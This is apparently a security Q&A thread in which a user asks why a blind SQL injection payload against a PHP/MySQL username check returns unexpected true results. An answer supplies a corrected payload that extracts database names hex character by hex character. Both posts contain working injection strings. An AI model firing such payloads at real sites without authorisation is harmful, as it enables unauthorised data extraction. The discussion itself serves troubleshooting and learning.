4

I'm exploiting a blind SQL injection point, which takes a variable as username then check if the username exists in a table.

(It's running MySQL 5.X with PHP)

So I'm using this to retrieve all databases:

valid_user_name' and (
    SELECT substr(hex(schema_name), 8, 1) 
    FROM information_schema.schemata 
    WHERE schema_name not in ('performance_schema','mysql','information_schema')    
    ORDER BY schema_name limit 0, 1) = '9' #

The first database name is radius, so the 8th char of hex('radius') is '9'. With the input above the web page shows the user exist.

But when I provide character '7' it also shows the user exist.

All the rest do not show so.

Anyone know why?

P.S You might thought the injection point is a false positive, but it's not. I have confirmed that with SQLmap.

  • Bizarre. Perhaps it's worth running SQLmap through a logging proxy to see what requests it's sending in order to exploit this? – Polynomial Feb 7 '14 at 14:14
1

It seems like there's something strange going on in the way you are iterating through the comparisons.

The thing that makes me raise my eyebrows when I look at this is that you are comparing hex values 1 byte at a time. This is technically okay but it will be harder to reconstruct the table names afterward.

So, breaking it down:

  1. You know you have a target table name of 'radius'
  2. The ASCII hex value of that string that is generated by hex() is "726164697573"

Comparing the strings should be done like this:

r  a  d  i  u  s
72 61 64 69 75 73

You want to be comparing those hex values 2 bytes at a time:

valid_user_name' and (
    SELECT substr(hex(schema_name), 7, 2) 
    FROM information_schema.schemata 
    WHERE schema_name not in ('performance_schema','mysql','information_schema')    
    ORDER BY schema_name limit 0, 1) = '69' #

My guess is that there is an error in your iteration code that is either related to the 1-byte comparison, some kind of off-by-one error, or a combination of both.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.